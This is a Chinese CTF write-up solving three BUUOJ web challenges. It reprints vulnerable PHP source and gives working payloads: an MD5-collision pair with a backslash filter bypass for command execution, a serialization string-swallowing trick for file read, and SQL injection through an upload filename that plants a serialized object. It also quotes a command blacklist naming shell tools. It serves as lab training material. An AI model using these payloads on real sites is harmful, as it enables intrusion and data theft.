发现buuoj上安洵2019的题目有现成的,不用在vps上搭了(第一题除外,搭好才发现......),刚好做做。
easy_web
进去后url有两个明显参数,第一个类似于base64编码,第二个由参数名知道可能是rce参数
?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=
先解码前面一个参数的值,发现base64解了两次后得到一串数字,看起来像十六进制字符。尝试16进制解码后得到555.pnf0
证实了加密方式。
加上图片的回显有base64的内容,可知img参数用于文件包含,那么包含下index.php吧
import base64
import binascii
str='index.php'
filename = str.encode(encoding='utf-8')
hex = binascii.b2a_hex(filename)
print(hex)
base1 = base64.b64encode(hex)
base2 = base64.b64encode(base1)
print(base2.decode('utf-8'))
得到源码
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd']))
header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));
$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
echo '<img src ="./ctf3.jpeg">';
die("xixi~ no flag");
} else {
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64," . $txt . "'></img>";
echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}
?>
<html>
<style>
body{
background:url(./bj.png) no-repeat center center;
background-size:cover;
background-attachment:fixed;
background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>
第一个参数已经利用完了,而第二个参数用于rce,但明显过滤了许多读取文件的命令。
同时可知要执行命令必须绕过一层MD5对比。基于使用了php强相等符号,可知一定要找到一对MD5相同的不同字符串。可以用某种MD5碰撞生成器得到。我直接用官方wp里的吧
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
之后就是执行命令了。直接利用匹配正则里面\
的疏忽,用它使我们的关键字构建出来
ca\t%20/flag cat /flag
或者使用没被过滤的读取文件的命令
sort /flag
flag
easy_serialize_php
题目对我有点难,但是打开了反序列化新世界的大门
一道反序列化利用题,上来直接给了源码
<?php
$function = @$_GET['f'];
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
思路上首先看看可控的参数,有get传值的f,img_path
。但是注意到img_path
搭配上f
为show_image
时,返回的内容并不可用,因为
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
中,我们传的值经过sha1加密后并没有解密,故不可用。
此时关注其他重点,有一句
extract($_POST);
是一个变量覆盖的利用。所以我们的变量值都可以通过post操作改变,这样可控的参数多了起来。
同时注意到序列化语句,会在调用show_image
时被触发
$serialize_info = filter(serialize($_SESSION));
漏洞点正在于此,在序列化数据之后,它经过了一层过滤才给变量赋值。而从最上方的过滤函数可知,出现被过滤的关键字直接替换为空。那么这是否会有漏洞可以用呢?答案是肯定的。出题人如是说:
任何具有一定结构的数据,如果经过了某些处理而把结构体本身的结构给打乱了,则有可能会产生漏洞。
其意义在于,给user
所赋的值刚好24个,而这24个字符由于过滤flag
的原因,在经过序列化后被置为空。这时就可以吞掉一个function,做到任意读取文件。
首先从提示phpinfo处找到一个不可直接读的php文件,我们先尝试利用漏洞读取它看看。(由于关键字里过滤了f1ag,所以在phpinfo界面搜f1ag关键字,果断发现d0g3_f1ag.php)
下面我来构造下序列化的类,从源码知道SESSION类有三个属性:
<?php
class SESSION
{
var $user="flagflagflagflagflagflag";
var $function='a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:4:"test";s:1:"a";}';# 其中为d0g3_f1ag.php base64编码
var $img="MS5qcGc=";# 值为1.jpg的base64编码
}
$a=new SESSION();
echo(serialize($a));
生成的payload如下:
O:7:"SESSION":3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:61:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:4:"test";s:1:"a";}";s:3:"img";s:8:"MS5qcGc=";}
而经过过滤后
O:7:"SESSION":3:{s:4:"user";s:24:"";s:8:"function";s:61:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:4:"test";s:1:"a";}";s:3:"img";s:8:"MS5qcGc=";}
此时user属性对应的值被置空,那么它就要去把后面的24个字符置为它的值。也就是
";s:8:"function";s:59:"a"
相当于吞掉了function属性,但是我们构造的$function
中,包含了img
属性的值,以及构造的一个test
属性的值,使得我们的序列化数据仍然是满足一个类对应三个键值。这时它对序列化数据的匹配就是由{
开始,到}
结束。所以后面多余的字符";s:3:"img";s:8:"MS5qcGc=";}
全部被忽略。
这样,我们通过控制function属性的值,达到了控制img
属性值的效果,从而触发反序列化,读取文件。
最终payload如下:
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:4:"test";s:1:"a";}&function=show_image
(function也可以直接get传)
flag
另外题目构造的其实是SESSION数组进行序列化,但是序列化格式一样,都可行。
<?php
$b=array("user"=>"flagflagflagflagflagflag",
"function"=>'a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:4:"test";s:1:"a";}',
"img"=>"MS5qcGc=");
echo(serialize($b));
不是文件上传
也是一道反序列化题目,意图在于反序列化结合sql注入。在源码审计上下了不少功夫。如果我在比赛中做多半会卡在sql注入上吧。
首先进入页面,可以发现网站底部留下了wowouploadimage,可以拿到一份源码。主要内容如下:
upload.php
<?php
include("./helper.php");
class upload extends helper {
public function upload_base(){
$this->upload();
}
}
if ($_FILES){
if ($_FILES["file"]["error"]){
die("Upload file failed.");
}else{
$file = new upload();
$file->upload_base();
}
}
$a = new helper();
?>
show.php
<?php
include("./helper.php");
$show = new show();
if($_GET["delete_all"]){
if($_GET["delete_all"] == "true"){
$show->Delete_All_Images();
}
}
$show->Get_All_Images();
class show{
public $con;
public function __construct(){
$this->con = mysqli_connect("127.0.0.1","root","root","pic_base");
if (mysqli_connect_errno($this->con)){
die("Connect MySQL Fail:".mysqli_connect_error());
}
}
public function Get_All_Images(){
$sql = "SELECT * FROM images";
$result = mysqli_query($this->con, $sql);
if ($result->num_rows > 0){
while($row = $result->fetch_assoc()){
if($row["attr"]){
$attr_temp = str_replace('\0\0\0', chr(0).'*'.chr(0), $row["attr"]);
$attr = unserialize($attr_temp);
}
echo "<p>id=".$row["id"]." filename=".$row["filename"]." path=".$row["path"]."</p>";
}
}else{
echo "<p>You have not uploaded an image yet.</p>";
}
mysqli_close($this->con);
}
public function Delete_All_Images(){
$sql = "DELETE FROM images";
$result = mysqli_query($this->con, $sql);
}
}
?>
helper.php
<?php
class helper {
protected $folder = "pic/";
protected $ifview = False;
protected $config = "config.txt";
// The function is not yet perfect, it is not open yet.
public function upload($input="file")
{
$fileinfo = $this->getfile($input);
$array = array();
$array["title"] = $fileinfo['title'];
$array["filename"] = $fileinfo['filename'];
$array["ext"] = $fileinfo['ext'];
$array["path"] = $fileinfo['path'];
$img_ext = getimagesize($_FILES[$input]["tmp_name"]);
$my_ext = array("width"=>$img_ext[0],"height"=>$img_ext[1]);
$array["attr"] = serialize($my_ext);
$id = $this->save($array);
if ($id == 0){
die("Something wrong!");
}
echo "<br>";
echo "<p>Your images is uploaded successfully. And your image's id is $id.</p>";
}
public function getfile($input)
{
if(isset($input)){
$rs = $this->check($_FILES[$input]);
}
return $rs;
}
public function check($info)
{
$basename = substr(md5(time().uniqid()),9,16);
$filename = $info["name"];
$ext = substr(strrchr($filename, '.'), 1);
$cate_exts = array("jpg","gif","png","jpeg");
if(!in_array($ext,$cate_exts)){
die("<p>Please upload the correct image file!!!</p>");
}
$title = str_replace(".".$ext,'',$filename);
return array('title'=>$title,'filename'=>$basename.".".$ext,'ext'=>$ext,'path'=>$this->folder.$basename.".".$ext);
}
public function save($data)
{
if(!$data || !is_array($data)){
die("Something wrong!");
}
$id = $this->insert_array($data);
return $id;
}
public function insert_array($data)
{
$con = mysqli_connect("127.0.0.1","root","root","pic_base");
if (mysqli_connect_errno($con))
{
die("Connect MySQL Fail:".mysqli_connect_error());
}
$sql_fields = array();
$sql_val = array();
foreach($data as $key=>$value){
$key_temp = str_replace(chr(0).'*'.chr(0), '\0\0\0', $key);
$value_temp = str_replace(chr(0).'*'.chr(0), '\0\0\0', $value);
$sql_fields[] = "`".$key_temp."`";
$sql_val[] = "'".$value_temp."'";
}
$sql = "INSERT INTO images (".(implode(",",$sql_fields)).") VALUES(".(implode(",",$sql_val)).")";
mysqli_query($con, $sql);
$id = mysqli_insert_id($con);
mysqli_close($con);
return $id;
}
public function view_files($path){
if ($this->ifview == False){
return False;
//The function is not yet perfect, it is not open yet.
}
$content = file_get_contents($path);
echo $content;
}
function __destruct(){
# Read some config html
$this->view_files($this->config);
}
}
?>
先从比较直观的地方开始审计。我个人首先从helper.php开始观察。因为这很有可能存在是一个反序列化利用的代码。果然首先注意到,helper类中,有着经典的_destruct()
魔术方法,它调用的view_file()
方法,会执行file_get_contents()
函数。显然是利用它。回过头再仔细看下触发方式。
首先,在helper.php中,发现图片的attr属性
被序列化存储。
$array["attr"] = serialize($my_ext);
之后在show.php中,调用了一次反序列化
if($row["attr"]){
$attr_temp = str_replace('\0\0\0', chr(0).'*'.chr(0), $row["attr"]);
$attr = unserialize($attr_temp);
}
然后注意我们的upload图片操作,传图片后,调用了check()
函数,但是并没有对文件名做检测就被保存为info,之后作为参数传进了save()
函数。save()
本质上执行了一次sql语句:
$sql = "INSERT INTO images (".(implode(",",$sql_fields)).") VALUES(".(implode(",",$sql_val)).")";
也就是说,我们其实是通过控制上传图片的文件名,触发sql注入,进一步触发反序列化,达到目的。
所以现生成反序列化payoad:
<?php
class helper
{
protected $ifview = True;
protected $config = "/flag";
}
$a=new helper();
echo(serialize($a));
得到结果需要调整为
O:6:"helper":2:{s:9:"\0\0\0ifview";b:1;s:9:"\0\0\0config";s:5:"/flag";}
这是由于protected的属性决定的。如果是private则是两个%00%00
。
然后构造文件名,我们只需让文件的序列化部分改为我们的payload。基于普通上传执行语句为:
INSERT INTO images (`title`,`filename`,`ext`,`path`,`attr`) VALUES('1','1.jpg','jpg','pic/f20c76cc4fb41838.jpg','a:2:{s:5:"width";i:1264;s:6:"height";i:992;}')
我们把文件名改改
INSERT INTO images (`title`,`filename`,`ext`,`path`,`attr`) VALUES('1','1','1','1',0x4f3a363a2268656c706572223a323a7b733a393a225c305c305c30696676696577223b623a313b733a393a225c305c305c30636f6e666967223b733a353a222f666c6167223b7d),('1.jpg')
其中的由于引号问题,我们的payload需要字符串转16进制。
上传文件即可触发得到flag.
flag
网友评论